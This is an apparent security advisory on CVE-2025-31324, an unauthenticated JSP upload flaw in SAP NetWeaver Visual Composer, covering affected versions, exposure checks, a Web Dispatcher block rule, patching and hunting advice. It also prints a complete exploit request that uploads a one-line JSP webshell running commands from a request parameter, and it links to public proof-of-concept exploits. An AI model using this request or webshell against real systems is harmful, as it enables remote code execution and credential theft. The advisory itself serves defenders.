CVE-2025-31324: SAP NetWeaver Visual Composer unauthenticated file upload

SAP disclosed CVE-2025-31324 in an out-of-band advisory on 24 April 2025 after ReliaQuest and Onapsis observed active exploitation against Internet-facing NetWeaver Java systems. The bug is a missing authorization check on the Metadata Uploader endpoint of Visual Composer, which lets an unauthenticated attacker upload a JSP file to the servlet directory and execute it. CVSS 10.0. CISA added it to the KEV catalog within a week.

What the flaw allows

The /developmentserver/metadatauploader endpoint on NetWeaver Java servers accepts POST requests without checking authentication or file type. An attacker uploads a JSP webshell to the deployed application directory and then requests it directly.

POST /developmentserver/metadatauploader?CACHE=true HTTP/1.1
Host: sap.example.com
Content-Type: multipart/form-data; boundary=--x

--x
Content-Disposition: form-data; name="file"; filename="cache.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<% Runtime.getRuntime().exec(request.getParameter("c")); %>
--x--

The uploaded JSP is placed inside the webapps directory and served by Tomcat with no further checks.

Execution happens as the SAP administrative user (<sid>adm) which owns the SAP install directory. From that position an attacker can read the SAP secure store, dump credentials, and pivot to the database and connected ABAP systems.

Who is affected

• SAP NetWeaver Application Server Java, component VCFRAMEWORK, up to and including support package levels listed in the SAP note. Visual Composer must be enabled — it is enabled by default on developer editions and on many production installs that host portal or process integration content.
• SAP NetWeaver ABAP-only stacks are not affected.
• SAP S/4HANA ABAP is not affected. S/4HANA Java Add-ons that ship Visual Composer are in scope.

External exposure of the Java stack is the main risk. Internal exposure to any workstation network is enough for a foothold-stage attacker.

How to check exposure

Confirm whether the Java stack answers the uploader path:

curl -sk -o /dev/null -w '%{http_code}\n' \
  https://sap.example.com/developmentserver/metadatauploader
# 200 or 405 means the endpoint exists and Visual Composer is enabled
# 404 means Visual Composer is not deployed on this instance

Anything other than 404 warrants immediate patching or the workaround.

Search the webapps deployment directory for JSP files that do not belong to the standard SAP distribution:

find /usr/sap/*/J*/j2ee/cluster/apps -name '*.jsp' -mtime -30 \
  ! -path '*/sap.com*'

SAP-shipped webapps live under sap.com~* directories. Anything else recently modified is suspicious.

Review the Tomcat access log for POSTs to metadatauploader from external IPs.

What to do

• Apply SAP Note 3594142 (the security fix) on every NetWeaver Java system running Visual Composer. SAP published patches for all supported support package levels.
• If you cannot patch immediately, disable Visual Composer or restrict the uploader path at the SAP Web Dispatcher:

# icm/HTTP/mod_0 rule to block the uploader path
if %{PATH} regi ^/developmentserver/metadatauploader
  RegForbiddenUrl ^/developmentserver/metadatauploader.*
endif

Web Dispatcher rewrite rule blocking the vulnerable endpoint until the patch is applied.

• Assume compromise on any exposed system that has been Internet-reachable since March 2025. Rotate <sid>adm, the Secure Store master password, and every credential in the AS Java user store. Hunt for JSP webshells and outbound connections from the SAP host.
• Include SAP Java systems in your continuous scan scope. Enterprises frequently forget that portal, PI/PO and BW/4HANA Java stacks are still in use.

Public tooling

• Nuclei template (community) — detection-only template that probes the vulnerable endpoint at github.com/nairuzabulhul/nuclei-template-cve-2025-31324-check

nuclei -t cve-2025-31324-check.yaml -u https://sap.example.com

Community Nuclei template used to identify exposed instances.

• Public PoCs — several standalone exploits demonstrate the unauthenticated JSP upload chain; the most complete is at github.com/sug4r-wr41th/CVE-2025-31324
• No Metasploit module has been merged upstream at time of writing

References

# SAP Security Note
https://me.sap.com/notes/3594142

# Onapsis threat research
https://onapsis.com/threat-research/cve-2025-31324/

# Rapid7 exploitation observation
https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/

Primary references.